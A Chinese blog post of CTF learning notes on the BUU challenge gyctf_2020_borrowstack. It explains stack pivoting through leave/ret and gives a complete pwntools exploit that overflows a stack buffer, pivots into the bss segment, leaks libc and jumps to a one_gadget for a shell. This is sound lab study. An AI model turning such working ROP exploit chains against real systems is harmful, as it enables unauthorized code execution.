简单栈迁移学习笔记

BUU gyctf_2020_borrowstack学习笔记

查看保护

gyctf_2020_borrowstack$ checksec pwn1 
[*] '/home/pwn/桌面/gyctf_2020_borrowstack/pwn1'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

进入IDA

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf; // [rsp+0h] [rbp-60h]

  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  puts(&s);
  read(0, &buf, 0x70uLL);
  puts("Done!You can check and use your borrow stack now!");
  read(0, &bank, 0x100uLL);
  return 0;
}

看到有两次read,第一次读入的buf是在栈上的,第二次读入的bank是在bss段的
这里我们能溢出的空间只有0x10,显然是不够直接rop的,栈迁移就是用在这种溢出距离不足的情况的

什么是栈迁移

大概记一下什么是栈迁移
当函数返回时,最后都要执行leave ret
这两条指令相当于:

mov esp,ebp             
pop edp                      
pop eip                       

假设初始函数栈:
在这里插入图片描述
mov esp,ebp
在这里插入图片描述
pop ebp 执行完这个就当与执行了leave

在这里插入图片描述
pop eip 相当于执行ret 如果有错误欢迎指正,我会及时更改
在这里插入图片描述
我们可以利用 覆盖旧的ebp,和追加一个leave ret 来进行栈迁移

假设覆盖后的栈空间
在这里插入图片描述
经过函数回调本有的 leave ret操作后

在这里插入图片描述
执行leave ret

在这里插入图片描述
栈成功迁移,一般这种迁移都迁移到bss段上,用来执行构造好的rop链

整体思路

通过第一个read栈迁移,迁移到bss段上
使用第二个read构造 rop链,泄露libc
这里要注意的是,这题的bank地址离got表很近,直接迁移会造成覆盖,无法泄露
就要将栈迁移的远一点(例如bank_addr+ 0x70)
泄露完libc用函数本身的第二个read函数回调的leave ret进行第二次迁移,往其中写入one_gadget,即可getshell

exp:

from pwn import *
io = remote("node3.buuoj.cn",27970)
elf = ELF("pwn1")
libc = ELF("libc-2.23.so")
bank_addr =0x601080
payload_1 = b"a"*(0x60)+p64(bank_addr+ 0x70)+p64(0x400699)
io.sendafter("Welcome to Stack bank,Tell me what you want\n",payload_1)
puts_plt = elf.plt["puts"]
read_got = elf.got["read"]
pop_rdi_ret = 0x400703
one_gadget = 0xf02a4
payload_2 = b"a"*(0x70)+p64(bank_addr+0x40)+p64(pop_rdi_ret)+p64(read_got)+p64(puts_plt)+p64(0x400680)
io.sendlineafter("Done!You can check and use your borrow stack now!\n",payload_2)
read_addr = u64(io.recv(6).ljust(8,b"\x00"))
libcbase = read_addr - libc.symbols["read"]
payload_3 = b"a"*(0x40)+p64(0)+p64(one_gadget+libcbase)
io.recvline()
io.sendline(payload_3)
io.interactive()

关于二次迁移的简单整理

第一次写入bss段的payload(这里的0x400680是第二个read函数的地址):

b"a"*(0x70)+p64(bank_addr+0x40)+p64(pop_rdi_ret)+p64(read_got)+p64(puts_plt)+p64(0x400680)

栈空间:
在这里插入图片描述
第一次迁移:

在这里插入图片描述
当执行完read函数 但还没执行leave ret时:

在这里插入图片描述
mov esp,ebp:
在这里插入图片描述
pop ebp:
在这里插入图片描述
pop eip:

在这里插入图片描述
getshell成功
在这里插入图片描述

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值